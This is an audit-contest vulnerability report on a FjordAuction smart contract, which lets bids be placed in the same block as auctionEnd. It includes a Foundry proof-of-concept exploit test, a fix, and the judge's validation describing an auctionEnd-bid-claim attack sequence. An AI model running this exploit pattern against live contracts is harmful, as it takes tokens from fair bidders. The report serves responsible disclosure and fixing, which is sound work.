DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Valid

Bids can be made after auction ends

Vulnerability details

FjordPoints are used in FjordAuction to buy auction token. Auction has a bidding time in which users can place a bid. Bids can only be made during bidding time. When the bidding time is over the auction ends and users can claim the auctioned tokens based on the size of their bid.

Checks in FjordAuction allow users to bid after the auction ends. It allows a malicious user to claim tokens that were auctioned by other participants. As a result, people that participated in the auction will lose tokens that were autioned by them.

In bid function there is a check that ensures that block.timestamp is less than or EQUAL to auctionEndTime. If it's true then user can place a bid in an auction.

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}

In auctionEnd function there is a check that ensures that block.timestamp is greater than or EQUAL to auctionEndTime. If it's true then the auction can be ended.

function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
ended = true;
emit AuctionEnded(totalBids, totalTokens);
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
// Burn the FjordPoints held by the contract
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}

When the block.timestamp is equal to auctionEndTime, malicious user can call auctionEnd function and bid in the same block. It is an issue for the fair participants because the multiplier is calculated inside auctionEnd function.

multiplier is used to calculate "reward per token" for the auction. If the bids are made after the auction end the calculation is no longer accurate and the user that placed the bid after the auction can claim tokens from fair participants. Some of the users will not be able to claim the tokens.

Proof of Concept

Add this test to auction.t.sol file and run forge test --match-test "testExploit" -vvv.

function testExploit() public {
address attacker = address(0x23);
address bidder = address(0x2);
uint256 bidAmount = 100 ether;
deal(address(fjordPoints), bidder, bidAmount);
deal(address(fjordPoints), attacker, bidAmount);
vm.store(
address(fjordPoints),
bytes32(uint256(2)),
bytes32(uint256(200 ether))
);
vm.startPrank(bidder);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
vm.warp(auction.auctionEndTime());
auction.auctionEnd();
vm.startPrank(attacker);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
uint256 expectedMultiplier = totalTokens.mul(1e18).div(bidAmount);
assertEq(auction.multiplier(), expectedMultiplier);
assertEq(fjordPoints.balanceOf(address(auction)), 100 ether); // Attacker tokens were not burned
vm.prank(attacker);
auction.claimTokens();
vm.prank(attacker);
vm.expectRevert();
auction.claimTokens();
}

Impact

Users can bid after auction end and claim tokens that were auctioned by other users leading to loss of funds for fair participants.

Recommended Mitigation Steps

Do not allow to place a bid after auction end.

Example pseudocode:

function bid(uint256 amount) external {
- if (block.timestamp > auctionEndTime)
+ if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.